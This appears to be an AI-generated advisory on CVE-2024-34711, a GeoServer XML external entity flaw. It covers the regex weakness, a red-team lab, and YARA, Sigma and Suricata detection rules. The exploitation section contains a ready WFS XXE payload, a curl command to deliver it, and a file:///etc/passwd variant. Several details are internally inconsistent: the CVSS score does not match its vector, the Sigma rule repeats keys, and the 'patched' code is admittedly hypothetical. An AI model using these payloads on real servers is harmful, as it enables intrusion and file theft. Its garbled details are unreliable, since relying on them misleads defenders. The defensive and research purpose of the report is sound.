CVE-2024-34711

Executive Summary

CVE-2024-34711 is a critical XML External Entity (XXE) injection vulnerability in GeoServer, an open-source server for sharing and editing geospatial data. The flaw resides in the URI validation logic used to filter malicious XML entities. The default regex (?i)(jar:file|http|vfs)[^?#;]*//.xsd is insufficient, allowing an attacker to bypass the filter and perform XXE attacks. This enables unauthorized HTTP GET requests to arbitrary internal or external servers, facilitating internal network scanning, information disclosure, and potential lateral movement. The vulnerability affects GeoServer versions 2.25.0 and greater that rely on the ENTITY_RESOLUTION_ALLOWLIST configuration. No official patch is available; mitigation requires manual configuration changes.

Supply Chain & Package Security

GeoServer is a Java-based application distributed as a WAR file or via Docker. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. However, organizations using GeoServer in containerized environments should verify their base images and ensure no vulnerable versions are deployed.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high score reflects the ease of exploitation, lack of authentication, and potential for full system compromise via internal network reconnaissance and data exfiltration.

Deep Dive & Mechanics

The vulnerability is in GeoServer's XML entity resolution mechanism. By default, GeoServer uses PreventLocalEntityResolver from GeoTools to block malicious URIs. The filter applies a regex: (?i)(jar:file|http|vfs)[^?#;]*//.xsd. This regex is intended to block external entities that reference .xsd files via HTTP, JAR, or VFS protocols. However, the regex has a flaw: it only matches URIs ending with .xsd and containing //. An attacker can craft an XML entity that uses the http protocol but does not end with .xsd, or uses alternative URI schemes (e.g., file:///etc/passwd without .xsd). Additionally, the regex does not block file protocol URIs that do not match the pattern, allowing local file disclosure.

The attack flow:

1. Attacker sends a crafted XML request to a GeoServer endpoint that processes XML (e.g., WFS, WMS, or REST API).
2. The XML contains an external entity pointing to an internal HTTP server or local file.
3. GeoServer resolves the entity, sending a GET request to the attacker-specified URI.
4. The response is included in the XML output, allowing the attacker to read the content.

Vulnerable vs. Patched Code

Vulnerable Code (GeoServer 2.25.0+):

// GeoServer uses ENTITY_RESOLUTION_ALLOWLIST by default
// The regex in PreventLocalEntityResolver:
Pattern pattern = Pattern.compile("(?i)(jar:file|http|vfs)[^?#;]*//.xsd");
// This only blocks URIs ending with .xsd and containing //

Patched Code (Hypothetical):

// A proper fix would block all external entities or use a strict allowlist
Pattern pattern = Pattern.compile("(?i)(jar:file|http|vfs|file|ftp)[^?#;]*//");
// Or disable external entity resolution entirely

The vulnerability exists because the regex is too permissive. A secure implementation would either block all external entities or use a strict allowlist of trusted URIs.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: GeoServer 2.25.0 running on Ubuntu 22.04
• Attacker: Kali Linux
• Internal network: 192.168.1.0/24

Exploit Steps:

1. Identify a GeoServer endpoint that processes XML (e.g., http://target:8080/geoserver/wfs).
2. Craft a malicious XML payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.100:8080/internal">
]>
<wfs:GetFeature service="WFS" version="2.0.0"
  xmlns:wfs="http://www.opengis.net/wfs/2.0"
  xmlns:fes="http://www.opengis.net/fes/2.0"
  xmlns:gml="http://www.opengis.net/gml/3.2"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs/2.0 http://schemas.opengis.net/wfs/2.0/wfs.xsd">
  <wfs:Query typeNames="&xxe;"/>
</wfs:GetFeature>

3. Send the request using curl:

curl -X POST -H "Content-Type: text/xml" -d @payload.xml http://target:8080/geoserver/wfs

4. The server will make a GET request to http://192.168.1.100:8080/internal, and the response will be included in the XML output.

Alternative Payload for Local File Read:

<!ENTITY xxe SYSTEM "file:///etc/passwd">

Blue Team

Detection:

• Monitor outbound HTTP requests from GeoServer to unexpected IPs.
• Look for XML requests containing <!ENTITY or SYSTEM keywords.
• Use network segmentation to limit GeoServer's outbound access.

Hunting:

• Search logs for PreventLocalEntityResolver warnings or errors.
• Check for XML payloads with unusual entity declarations.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP GET requests from GeoServer to internal IPs (e.g., 10.x.x.x, 192.168.x.x, 172.16.x.x).
• Logs: GeoServer logs containing PreventLocalEntityResolver or ENTITY_RESOLUTION_ALLOWLIST entries.
• Files: Unexpected files read via file:// URIs (e.g., /etc/passwd, /etc/shadow).
• XML Payloads: Requests containing <!ENTITY and SYSTEM with http://, file://, or jar:file:// URIs.

Detection Engineering

YARA Rule

rule CVE_2024_34711_GeoServer_XXE {
    meta:
        description = "Detects XXE payloads targeting GeoServer CVE-2024-34711"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $xxe1 = /<!ENTITY\s+\w+\s+SYSTEM\s+["'](http|file|jar:file|vfs):\/\// nocase
        $xxe2 = /ENTITY_RESOLUTION_ALLOWLIST/ nocase
        $xxe3 = /PreventLocalEntityResolver/ nocase
    condition:
        any of them
}

Sigma Rule

title: GeoServer XXE Exploitation Attempt (CVE-2024-34711)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XML external entity injection attempts against GeoServer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: geoserver
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wfs'
        cs-uri-query|contains: '/wms'
        cs-uri-query|contains: '/rest'
        sc-status: 200
        cs-body|contains: '<!ENTITY'
        cs-body|contains: 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate XML processing with external entities (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-34711 GeoServer XXE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wfs"; http_uri;
    content:"<!ENTITY"; http_client_body;
    content:"SYSTEM"; http_client_body;
    pcre:"/(http|file|jar:file|vfs):\/\//i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Mitigation:

1. Disable external entity resolution by setting the system property:

-Dentity_expansion_limit=0
-Dentity_resolution_allowlist=""

2. Restrict outbound network access from GeoServer using firewall rules.
3. Upgrade to a patched version when available (monitor GeoServer releases).

Long-term Fix:

• Apply a custom PreventLocalEntityResolver with a strict allowlist.
• Use a Web Application Firewall (WAF) to block XXE payloads.
• Implement network segmentation to isolate GeoServer.

Valters IT Signature:

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.